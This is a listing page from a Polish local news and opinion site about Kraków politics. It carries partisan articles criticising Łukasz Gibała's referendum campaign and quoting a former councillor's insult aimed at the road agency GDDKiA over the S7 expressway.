pracy lokali... Warto raz jeszcze podkreślić, że powyższe wyliczenia mają charakter wyłącznie orientacyjny i opierają się na przyjętych, uproszczonych założeniach. Nawet jeśli zmienimy część parametrów – zmniejszymy liczbę osób, skrócimy czas pracy czy przyjmiemy inną stawkę godzinową – trudno obronić tezę, że tak szeroko zakrojona akcja nie generuje znaczących kosztów. ZOBACZ TAKŻE: Serce bije szybciej, gdy w portfelu coś szeleści. A gdy szeleści, to wiadomo – od Gibały Skala organizacyjna przedsięwzięcia sprawia, że mówimy o poważnych środkach finansowych, a nie symbolicznych wydatkach. W tym sensie opowieści o tym, że referendum „wcale nie jest drogie” i nie stoją za nim duże pieniądze, należy traktować jak żenujący żart dla naiwnych. To rozbudowana, kosztowna operacja, prowadzona pod politycznym hasłem „Kupmy sobie Kraków”.

Więcej…

Wantuch: "W GDDKiA pracują sami kretyni, którzy nie potrafią narysować kawałka drogi"

Wantuch: "W GDDKiA pracują sami kretyni, którzy nie potrafią narysować kawałka drogi"

16 lutego 2026 | 13:00

Od samego początku mówiłem, że w GDDKiA pracują sami kretyni, którzy nie potrafią narysować kawałka drogi. Teraz czas, aby w końcu do projektowania S7 zabrali się fachowcy - tymi słowami Łukasz Wantuch skomentował odrzucenie WSZYSTKICH wariantów bidpwy drogi S7 na jej krakowskim odcinku. Zgodnie z zapowiedzią ministra infrastruktury Dariusza Klimczaka, prace projektowe nad przebiegiem S7 przejmie teraz centrala GDDKiA. Na najbliższe tygodnie zaplanowano dalsze analizy i konsultacje społeczne – rząd i inwestorzy wrócą do prac projektowych, aby wypracować warianty akceptowalne zarówno technicznie, jak i społecznie. - Wariant społeczny" nie jest jakaś bzdurą wymyśloną, żeby populistycznie uspokoić emocje społeczne, tylko realnym rozwiązaniem. Zawsze tak twierdziłem, co można łatwo sprawdzić - komentuje Wantuch. - Istnieje realna szansa, że brakujący odcinek S7 powstanie jeszcze w tym stuleciu, gdyż teraz prace ruszą do przodu. W imieniu większości mieszkańców Krakowa, dziękuje wszystkim, którzy się do tego przyczynili - uważa była krakowski radny.

Więcej…

Referendalna desperacja. Gibała otwiera drzwi dla "nowych" wyborców

Referendalna desperacja. Gibała otwiera drzwi dla "nowych" wyborców

15 lutego 2026 | 18:54

Są takie momenty w życiu miasta, gdy słowa „prawo” i „przyzwoitość” zaczynają się rozchodzić. Formalnie wszystko się zgadza. Moralnie – coś tu zgrzyta. I to bardzo. Szef „Krakowa dla Mieszkańców”, Łukasz Gibała, apeluje o podpisy pod wnioskiem referendalnym. Podpisów „ciągle przybywa”, ale – jak sam przyznaje – „wciąż potrzeba ich o wiele więcej”. I tu zaczyna się akrobacja. Bo kiedy brakuje krakowskich podpisów, nagle okazuje się, że można – a nawet warto – sięgnąć szerzej. Bez stałego meldunku? Żaden problem. Wystarczy dopisać się do rejestru wyborców, pokazać umowę najmu, rachunek, oświadczenie właściciela i... gotowe. Pięć minut i już można „decydować o przyszłości miasta”. Pytanie RETORYCZNE brzmi: czy to jeszcze obywatelska mobilizacja, czy już polityczna desperacja? źródło: FB Gibały Referendum w sprawie ewidentnie krakowskiej – dotyczącej przestrzeni, pieniędzy, kierunku rozwoju miasta – powinno być wyrazem woli wspólnoty. Wspólnoty realnej, zakorzenionej, żyjącej tu nie „na papierze”, lecz na co dzień: w korkach, w smogu, w sporach o zabudowę, w walce o zieleń. Jeśli ta wspólnota nie garnie się masowo do podpisywania wniosku, to może warto zadać sobie pytanie: dlaczego? Zamiast tego dostajemy instruktaż, jak administracyjnie poszerzyć elektorat. Oczywiście, zgodnie z prawem. Nikt tu nie łamie przepisów. Ale czy naprawdę o to chodziło w idei ruchu, który w nazwie ma „mieszkańców”? Czy „mieszkaniec” to ktoś, kto czuje odpowiedzialność za miasto, czy ktoś, kto zdążył wypełnić formularz? Najbardziej uderza ton moralnej wyższości: „Każdy ma prawo decydować o przyszłości miasta”. To prawda. Ale prawo to nie to samo co legitymacja. Jeśli kampania referendalna musi być ratowana apelem do osób spoza naturalnego kręgu wyborców, to sygnał jest jasny – entuzjazm wśród tych, którzy naprawdę tworzą lokalną tkankę, nie jest wystarczający. Można powiedzieć: takie są reguły gry. Owszem. Tylko że jeszcze niedawno politycy tego środowiska przekonywali, że są alternatywą dla cynicznej, „technicznej” polityki. Że stawiają na autentyczność, oddolność, realny głos mieszkańców. Dziś zamiast oddolności mamy poradnik administracyjny. Zamiast spontanicznej mobilizacji – instrukcję obejścia problemu braku podpisów. To nie jest kwestia legalności. To kwestia wiarygodności. Bo jeśli zbieranie podpisów idzie opornie, może oznacza to, że temat nie rozpala miasta tak, jak chcieliby organizatorzy. A może krakowianie – ci prawdziwi, codzienni – nie są przekonani, że referendum jest im potrzebne. W demokracji nie wszystko da się „dowypełnić formularzem”. Czasem brak podpisów jest odpowiedzią samą w sobie. I zamiast szukać ich poza naturalnym kręgiem poparcia, warto zastanowić się, czy problem nie leży bliżej niż się wydaje: w samej idei, narracji albo zaufaniu. Bo miasto to nie rubryka w rejestrze. To wspólnota. A zaufania nie da się dopisać w pięć minut.

Więcej…

Najdłuższa kampania wyborcza świata. Na pomoc Gibale przychodzi brat

Najdłuższa kampania wyborcza świata. Na pomoc Gibale przychodzi brat

13 lutego 2026 | 06:22

– Prób było już wiele, a zapał ciągle nie stygnie. Teraz się uda? Łukasz Gibała od kilkunastu lat marzy o tym, by zostać prezydentem Krakowa – donosi portal KR24.pl. Już nie tylko my, nie tylko Anna Grodzka (była koleżanka partyjna Gibały), nie tylko Jacek Majchrowski (były kontrkandydat w wyborach), nie tylko lokalni politycy (dobrze znający Gibałę), ale kolejny już portal (tym razem KR24.pl) zauważył marzenia o władzy człowieka, który już trzykrotnie przegrał wybory i do tej pory sprawia wrażenie, jakby nigdy nie pogodził się z porażką. ZOBACZ TAKŻE: UJAWNIAMY! Jak (i za ile) media pomagają Gibale zostać prezydentem – Po żadnej z tych porażek nie zniechęcił się. Ba, od razu przechodził do walki o kolejne głosy mieszkańców Krakowa. W zasadzie od kilkunastu lat prowadzi nieustanną kampanię wyborczą. Być może najdłuższą tego typu kampanię w kraju. Dziś prowadzi ją w bardzo profesjonalny sposób – pisze KR24.pl. – Jego brat, Bartosz Gibała to krakowski deweloper, ale równocześnie jest prezesem fundacji ″Zróbmy sobie Kraków″. To ważny element w kampanii Gibały, bo fundacja, konkretnymi działaniami chce pokazać, jak miałby działać w roli prezydenta. Z każdą pomocową akcją zyskuje kolejny mocny elektorat – czytamy. – Referendum spada mu pod nogi niczym dar z niebios. Zdoła wykorzystać tę szansę? – zastanawia się autor tekstu. Cały przeczytacie pod tym linkiem: Najdłuższa kampania wyborcza świata. Gibała prowadzi ją od kilkunastu lat. źródło: KR24.pl ZOBACZ TAKŻE: Broszura dla "kumatych", komiks dla reszty. Propaganda Gibały szyta na miarę

Więcej…

Strona 6 z 11

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

Na fali

  • Kto prezydentem Krakowa? Dotarliśmy do tajnego sondażu, a w nim... sensacja!

    Wydarzenia

    Kto prezydentem Krakowa? Dotarliśmy do...

    Informacja
    18 czerwca 2026
  • Polityczne samobójstwo czy brutalny sabotaż? Zastępca Miszalskiego odpalił protokół zniszczenia

    Opinie

    Polityczne samobójstwo czy brutalny...

    Informacja
    15 czerwca 2026
  • Znamy plan Gibały: nie wystartuje, zagra o pełną stawkę [UJAWNIAMY KULISY]

    Wydarzenia

    Znamy plan Gibały: nie wystartuje,...

    Informacja
    15 czerwca 2026

Kanał Krakowski

Płyniemy pod prąd. Z prądem płyną śmieci.

Menu

  • Strona główna
  • O nas
  • Reklama
  • Materiały partnerskie
  • Kontakt
  • Polityka prywatności

Działy

  • Wydarzenia
  • Opinie
  • Rozmowy
  • Serwis specjalny: Wybory 2026
Copyright © 2026 Kanał Krakowski. Wszelkie prawa zastrzeżone.